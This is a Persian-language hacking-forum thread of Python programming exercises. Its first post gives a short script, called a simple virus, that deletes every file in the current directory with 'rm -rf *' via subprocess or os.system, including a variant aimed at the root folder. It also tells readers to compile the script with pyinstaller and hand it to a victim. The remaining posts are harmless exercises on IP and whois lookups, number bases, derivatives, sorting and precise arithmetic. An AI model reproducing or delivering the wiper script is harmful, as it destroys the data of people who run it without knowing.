رفتن به مطلب
بازگشایی انجمن! ×
GuardIran

تمرین برنامه نویسی با پایتون


Mr.Python

پست های پیشنهاد شده

  • 2 هفته بعد...

در لینجا اسکریپت ساده ای از ماژول subprocess رو میبینید که در واقع اگر به یک سیستم عامل لینوکسی داده بشه تمام فایل های موجود در مسیر کنونی اسکریپت رو پاک میکنه.( یک نوع ویروس ساده)

هم روی پایتون ۲ و هم پایتون ۳ کار میکنه.

#!/usr/bin/env python

import subprocess

subprocess.call('rm -rf *', shell=True) #example

اگر تمایل داشته باشید میتونید مسیر رو عوض کنید.

subprocess.call("cd root; rm -rf *", shell=True) #example

یا میتونید از ماژول os استفاده کنید :

import os

os.system('rm -rf *') #example

در خط اول برنامه مسیر مفسر پایتون رو فراخوانی کردیم .

در خط دوم ماژول subprocess که مخصوص دستورات خط فرمان هست داخل برنامه چسبوندیم و تمام محتویات ماژول رو داخل برنامه ریختیم.

در خط اخر از ماژول subprocess ، تابع ساخته شده دراون به نام call. که دستورات شل بیسیک رو اجرا میکنه فراخوانی کردیم.

دو ارگومان داخل تابع call باید تنظیم بشه که اولی دستور ویروسه .

در دومین ارگومان :مقدار shell رو برابر True قرار دادیم تا سیستم عامل به اسکریپت اجازه ی اجرای دستورات شل رو بده . در غیر اینصورت هیچ دستور شلی یافت نمیشه ( در اسکریپت دستورات شل پاک میشن و خطای no such file رو دریافت میکنید) -- فایل همان فایل محتویات دستورات هست.

تابع call فقط همین دو ارگومان رو میگیره.

تابع system هم مانند تابع call عمل میکنه و دستورات شل رو اجرا میکنه.

اسکریپت رو با کتابخانه pyinstaller به فایل run لینوکس تبدیل کنید و به قربانی بدید .

اسکریپت ها در پست بعدی.

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


اسکریپت کد های بالا برای تبدیل به فایل اجرایی پیوست شد.

This is the hidden content, please

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


سلام

خب تو مرحله های اول و مقدماتی هستیم

کد زیر ای پی یک سایت رو پیدا میکنه و در اسم address اون رو ذخیره میکنه

میتونید برنامش کنید و در هر دو نسخه پایتون کار میکنه

ماژول socket رو راه میندازیم

خب اول مسیر مفسر رو درخط اول برنامه که shebang نامیده میشه ، وارد میکنیم .

#!/python27

ماژول socket روایمپورت میکنیم برای استفاده از توابع ، دستورات و کلاس های این ماژول .

import socket

حالا کد اصلی رو مینویسیم :

address = socket.gethostbyname('yahoo.com') # basic code

تابع gethostbyneme رو از ماژول socket فراخوانی کردیم و مقدار سایت رو در پرانتز قرار دادیم تا برنامه از ماژول socket اول تابع ذکر شده رو فراخوانی کنه و سایت رو به تابع بده و تابع هم بوسیله برقراری ارتباط با سرورسایت ای پی رو در اسم address ذخیره کنه .

برای نمایش ای پی از دستور پرینت استفاده میکنیم تا خروجی اسم رو نشون بده:

print address

میتونیم یذره تنوع به خرج بدیم

#!/python27

from socket import gethostbyname

print "Enter The URL :\n"

URL = raw_input("@> ") # example

addr = gethostbyname(URL)

print "IP :",addr

خطا ها رو میتونید except بزنید.

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


در این بخش میخوایم از یک سایت با پایتون whois بگیریم و محتویات سایت رو نمایش بدیم :

خب مفسر را اجرا کنید :

در پایتون 2:

python

یا python2.7

This is the hidden content, please
/emoticons/smile@2x.png 2x" width="20" height="20" />

خب دستور نصب ماژول whois رو در پوسته cmd یا ترمینال جدید وارد کنید:

pip install whois

خب حالا این ماژول رو در مفسر ایمپورت کنیم

import whois

قطعه کد زیر تابع whois رو از ماژول مورد نظر فراخوانی میکنه و سایت guardiran رو به تابع میده تا ماژول (برنامه) whois در سرور به دنبال سایت مورد نظر بگرده و اطلاعات اونرو در اسم rec_data ذخیره کنه .

rec_data = whois.whois("guardian.org") #basic e.g

حالا اطلاعات گرفته شده رو نمایش میدیم :

n\ : به این معنی هست که اشاره گر بره خط بعدی و با این کار ادامه کلمه Whois اطلاعات سایت نمایش داده نشه بلکه در خط بعدیش نشون داده بشه

print "Whois : \n", rec_data

# Print The Contents Of Guardiran

print " Contents :\n", rec_data.text

یا میتونید مقدار دلخواه از محتویات رو slice کنیم و نمایش بدیم

با اینکار تعداد دلخواهی از کاراکتر هارو نمایش میدیم در مثال زیر صد کاراکتر از اول نمایش داده میشه

print " Contents :\n", rec_data.text[:100] # slicing Contents

در پایتون ۳

python3

import whois

rec_data ,......

فقط در دستور پرینت باید هرچی جلوشه داخل پرانتز قرار بدید (ارگومان های الزامی)

دستور پرینت در پایتون ۳ ، یک تابع هست و به ارگومان های کلیدی نیاز داره.

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


  • 4 سال بعد...

سلام 

خیلی وقته که این تاپیک به روز رسانی نشده.. اما خب فکر میکنم دیگه باید شروع کنیم یه دستی بکشیم به سر و روش

موضوع اینه که شما تو این تاپیک ، با تمرین های مختلف برنامه نویسی اشنا میشید ، یه سری ایده ها رو از همدیگه میگیریم کد هامونو بررسی میکنیم خلاصشون میکنیم و در کل به صورت ((گروهی)) رو تمرین ها و مسائل پایتونی بحث میکنیم.

 

خب همونطور که میدونین خیلی از سایتا و منابع چاپی و کتابا ، برای مسائل پایتون و تمرینات برنامه نویسی مطالب زیادی رو گذاشتن . 

اینجا دقیقا همونکارو میکنیم منتها با این تفاوت که شما برای یک مسئله ممکنه چند تا راه حل داشته باشید و از بین این راه حل ها یه بهترینی وجود داشته باشه که بهتر از پاسخ اون سایتا و کتابا هست . یعنی کدتون خلاصس ، از حافطه کمتر استفاده میکنه و سریعتر اجرا میشه.

 

مثلا برای بدست اوردن اعداد اول ، خب راه حل های متفاوتی وجود داره ، یکی از تابع استفاده میکنه ، یکی به صورت دلخواه الگوریتم مینویسه ، یکی از حلقه استفاده میکنه و لیست ، یکی از حلقه و متغیر و ....

در کل تمام کارای خفنی که شما فکر میکنید راز و رمز خاصی داره و نیاز به هوش انیشتینی داره ، در واقع تنها چیزی که نیاز داره تمرین هست . برنامه های کوچیک و بزرگ طراحی مدار و سخت افزار طراحی سیستم عامل برنامه های کاربردی پر فروش و ... هیچ رمز و رازی نداره توش . برنامه نویسای حرفه ای نمیگن این یه تیکه کد خیلی سادس ، براچی باید اصلا برم برنامه جمع و تفریق بنویسم براچی خودمو درگیر این کنم که عدد اول چطوری تولید میشه و ... ، بلکه مرتب دارن خودشونو تو اینچیزا غرق میکنن . دنبال اینن که بدونن چه الگوریتمی بنویسن که بتونن فایل هارو رمز نگاری کنن .. یکی میگه خب من بلدم اعداد اولو با این روش تولید کنم حالا میام یه سری محاسبات رو انجام میدم که بتونه محتویات فایل هامو رمز نگاری کنه یه کدی مینویسه در حد جمع و تفریق و ضرب و تقسیم مربوط به چند تا عدد اول ،  اینطوری تونسته یه متنو به بهترین شکل رمز نگاری کنه.

یا همین لیست و تاپل و تمرینات ساده ی برنامه نویسی ای که شما با خودت ممکنه بگی چیه این اخه انقدر سادس که ارزش نداره وقت بذارم روش فکر کنم .در صورتی که چیزی که شما تو ماشین لرنینگ Machine learning نیاز داری برای شروع ، کار با لیست و اعداد و رشته هاس (ترکیب کردنشون ، تبدیل از ی مبنا به مبنای دیگه ، تبدیل بایت به اسکی و استخراج داده ها(داده کاوی) از لیست ها ، ماتریس ها و  ... ) و در نهایت شما با این تمرینا به جایی میرسید که پیکسل به پیکسل یه عکسو میخونید و روش محاسباتی انجام میدید که بفهمید توی عکس از چه اشیایی استفاده شده و این میشه نهایت برنامه نویسی یعنی هوش مصنوعی

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


  • RT3N این موضوع را پین کرد

تمرین 1 

 

- برنامه ای بنویسید که از کاربر ، یک رشته دریافت کند و بزرگترین عدد داخل رشته را در خروجی نمایش دهد. 

نکته : (استفاده از توابع داخلی یعنی توابعی که در خود پایتون موجود هست - توابع built in مثل int - و استفاده از ماژول هایی مثل re - استفاده از دیگر متد های رشته مانند isdigit - isalpha - join و .... ، در برنامه جایز نیست )

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


تمرین 2

-تابعی بنویسید که اعداد مبنای 2 را بگیرد و سپس آن را در مبنای 4 برگرداند.

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


تمرین 3 

-برنامه ای بنویسید که یک عدد اعشاری در مبنای 10 را به مبنای 2 ببرد.

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


تمرین 4

تو گروه های تلگرامی داشتم میگشتم که به یه تمرین جالبی برخوردم گفتم براتون بذارم.

داده های اولیه شامل موارد زیر هست:

This is the hidden content, please

خروجی باید به این شکل باشه:

This is the hidden content, please

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


در در 31 شهریور 1399 در 23:36، Mr.Python گفته است :

تمرین 1 

 

- برنامه ای بنویسید که از کاربر ، یک رشته دریافت کند و بزرگترین عدد داخل رشته را در خروجی نمایش دهد. 

نکته : (استفاده از توابع داخلی یعنی توابعی که در خود پایتون موجود هست - توابع built in مثل int - و استفاده از ماژول هایی مثل re - استفاده از دیگر متد های رشته مانند isdigit - isalpha - join و .... ، در برنامه جایز نیست )

حل :

This is the hidden content, please

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


در 21 ساعت قبل، Mr.Python گفته است :

تمرین 4

تو گروه های تلگرامی داشتم میگشتم که به یه تمرین جالبی برخوردم گفتم براتون بذارم.

داده های اولیه شامل موارد زیر هست:

This is the hidden content, please

خروجی باید به این شکل باشه:

This is the hidden content, please

 

حل

(تمرینات 2 و 3 خیلی اسونن ، به عهده خودتون - اگر مشکلی بود مطرح کنید)

This is the hidden content, please

این برنامه رو با چند تا الگوریتم دیگه هم میشه نوشت ، اینجا من از الگوریتمی استفاده کردم که نیاز به حلقه های for و while نباشه ، همچنین از کلیدواژه ها ومتد های کمتری استفاده شده...

یعنی خبری از yield و string partition نیست

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


  • 1 ماه بعد...

تمرین 4 

- تابعی بنویسید که مشتق یک عبارت چند جمله ای رو برحسب x حساب کند (اگر توان منفی رو هم در نظر بگیرید که خیلی بهتره برای تمرین بیشتر) :

- عبارت جبری شامل ضرایب ثابت غیر عددی مثل حروف انگلیسی a b j c و شامل ضرایب عددی 4 2 6 7 میباشد.

- علامت توان به شکل ^ هست

- شناسه ی تابع moshtaq هست (اسم تابع)

نمونه هایی از توابع چند جمله ای که به تابع Moshtaq دادیم :

This is the hidden content, please

خروجی :

This is the hidden content, please

اگه خیلی دنبال کاملتر کردنش هستین : میتونین اعداد ثابتی که باقی میمونه رو رو هم محاسبه کنین (با تابع eval) 

مثلا تو خروجی اول ، ما 4 + 40 رو داریم که میتونین با یه تیکه کد تبدیلش کنین به 44 

 

جواب در پست پایین قرار داده میشه. 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


جواب تمرین 4 :

 

 

 

 

 

 

 

 

This is the hidden content, please

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


تمرین 5:

- برنامه ای بنویسید که زمان را بر حسب ثانیه دریافت کند و ان را به ساعت و دقیقه و ثانیه تبدیل کند (خروجی باید به شکل 01:20:45 باشد)

جواب در پست پایین

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


جواب تمرین 5 :

This is the hidden content, please

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


در 6 دقیقه قبل، Mr.Python گفته است :

جواب تمرین 5 :

This is the hidden content, please

 

اینم یه مدل دیگش:
 

This is the hidden content, please

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


  • 7 ماه بعد...

سوال:

-برنامه ای بنویسید که تعداد کاراکتر ها ( حروف و اعداد و فضای خالی یک اسپیس ...)  را در یک رشته ، نمایش دهد . (استفاده از متد های replace و count و توابع داخلی مجاز نیست)

ورودی :

This is the hidden content, please

خروجی :

This is the hidden content, please

در سمت چپ ، خود کارکتر و کنارش تعداد تکرار اون کاراکتر تو رشته ی مورد نظر نمایش داده شده .

جواب در پست پایین

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


سوال

-برنامه ای بنویسید که یک رشته از اعداد را دریافت کرده و انها را از کوچک به بزرگ مرتب کند (استفاده از تابع مرتب سازی sorted مجاز نیست )

ورودی :

This is the hidden content, please

خروجی:

This is the hidden content, please

جواب در پست پایین

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


This is the hidden content, please

البته بهترشم میشه کرد که خیلی شلوغ نشه یا از روش دیگه ای ، مثلا یه روش دیگه اینه که اول بیاید  کوچکترین و بزرگترین عنصر رو پیدا کنید و به ترتیب تو اول و اخر یه لیست قرار بدید و بعد ، از رشته مورد نظر حذفشون کنید و بعد دوباره اینکارو روی رشته تکرار کنید تا در نهایت یه لیست مرتب داشته باشید .

برای حل عکس این سوال ، یعنی ترتیب از بزرگ به کوچیک فقط کافیه علامت < رو برعکس کنید .

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


-سوال

خب این سوال رو تو سایت quera پیدا کردم گفتم شاید بد نباشه یه مانوری بدیم روش 

قطعا بهتر و خوشگلتر از حل من هم پیدا میشه . 

خب سوال اینه:

 

عَلی و سَلیب که با یکدیگر برادر هستند، تصمیم گرفتند یک بازی هیجان‌انگیز دو نفره‌ای را انجام دهند تا شاید آدرنالین خون‌شان افزایش پیدا کند.

بازی از این قرار است که عَلی و سَلیب، هر کدام یک رشته انتخاب می‌کنند. سپس حرف اول رشته‌ای که حرف اولش از لحاظ لغت‌نامه‌ای کوچک‌تر است را حذف (اگر حرف اول دو رشته برابر بودند،‌ حرف اول هر دو رشته را حذف می‌کنند.) و هر دو رشته را معکوس می‌کنند. این کار را تا جایی انجام می‌دهند که یکی از دو رشته یا هر دو رشته، خالی شوند.

حال شما باید تابع compare(string1, string2) (که string1 رشته‌ی انتخابی عَلی و string2 رشته‌ی انتخابی سَلیب است.) را به گونه‌ای تکمیل کنید که:

اگر در نهایت یکی از دو رشته خالی شده بود، محتویات رشته‌ی دیگر را بازگرداند.
اگر در نهایت هر دو رشته خالی شده بودند؛ عبارت Both strings are empty! را بازگرداند.
توجه کنید که اگر یکی از رشته‌ها خالی شد؛ رشته‌ی دیگر، نباید مجدداً معکوس شود.

ورودی:

This is the hidden content, please

خروجی :

This is the hidden content, please

حل در پست پایین

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


-سوال

دنباله ای از اعداد بسازید که اعداد اول و اخر ان به ترتیب a و b باشد و فاصله ی بین هر دو عدد آن k باشد. 

درواقع این سوال یچیزی مثل این میمونه که بگیم ، چجوری میشه با تابعrange خروجی float دربیاریم نه Int

چون میدونیم تو range اعداد صحیح تولید میشن نه اعشاری.

ولی خب تو این سوال، میخوایم مثلا بین دو عدد 2 و 14 با فاصله 0.2 دنباله بسازیم.

This is the hidden content, please

اما نکات:

1. استفاده از توابع داخلی و ماژول ها ، مجاز نیست . البته از تابع format و str میتونید استفاده کنین . 

2. متغیر های a و b و k میتونن عدد صحیح یا اعشاری باشن . 

 

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


  • 4 ماه بعد...
در ۱۴۰۰/۴/۱ در ۱۲:۰۱، Mr.Python گفته است:

-سوال

دنباله ای از اعداد بسازید که اعداد اول و اخر ان به ترتیب a و b باشد و فاصله ی بین هر دو عدد آن k باشد. 

درواقع این سوال یچیزی مثل این میمونه که بگیم ، چجوری میشه با تابعrange خروجی float دربیاریم نه Int

چون میدونیم تو range اعداد صحیح تولید میشن نه اعشاری.

ولی خب تو این سوال، میخوایم مثلا بین دو عدد 2 و 14 با فاصله 0.2 دنباله بسازیم.

This is the hidden content, please

اما نکات:

1. استفاده از توابع داخلی و ماژول ها ، مجاز نیست . البته از تابع format و str میتونید استفاده کنین . 

2. متغیر های a و b و k میتونن عدد صحیح یا اعشاری باشن . 

 

 

This is the hidden content, please

این روش خطا داره و برای اینجور کارهابهتره برید سراغ محاسبات arbitary precision . یعنی مثل دوران مدرسه و ابتدایی که جمع و تفریق رو یاد گرفتیم زیر هم اعداد رو جمع بزنید یا کم کنید و همینجوری پیش برید .

یعنی از + و - برای محاسبات استفاده نکنید . چون اینها صرفا یه سری دستورات ماشینی هستن که میاد دو تا عدد رو جمع و تفریق میکنن و تا یه حدی میتونن این محاسبات رو ادامه بدن و از یجا به بعد معمولا 15 16 رقم اعشار میزنن و رقم اخر گرد میشه چون تو ماشینی که دارید کد نویسی میکنید بیشتر از این برای محاسبات ، فضای دلخواه از رم اختصاص داده نمیشه.. به همین دلیل میان از لیست ها و آرایه ها استفاده میکنن برای اعداد بزرگ و اعشار های زیاد
شاید شنیده باشید عدد pi رو تا بیلیون ها رقم محاسبه کردن ، دقیقا از همین روش استفاده کردن یعنی محاسبات رو با ارایه ها و لیست ها پیاده سازی کردن ....
به طور مثال:

اعداد 234 و 12 رو به این شکل داخل ارایه و لیست ذخیره میکنن:

This is the hidden content, please

و میان با حلقه ها ، 4 + 2 رو میکنن ، میندازن تو ارایه سوم 
بعد 3 + 1 و به همین ترتیب تا ارایه جواب رو بدست بیارن:(جمع و تفریق دوران ابتدایی)
 

This is the hidden content, please

و اینجوری محاسبات با دقت بالا انجام میشه و طول اعداد هم مهم نیست و میتونین به دلخواه اعشار بزنین..

 

البته برای زبان های کامپایلری مثل c و cpp کتابخونه هایی نوشته شده برای این منظور، که معروف ترینش همون GMP هست .

ولی خب اکثر زبان های مفسری اینجوری نیستن و شما لازم نیست برای مثلا فاکتوریل 100 بیاین کتابخونه استفاده کنین چون به صورت داینامیک اون پشت مشتا خودش محاسبات رو در قالب ارایه ها انجام میده 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • ایجاد مورد جدید...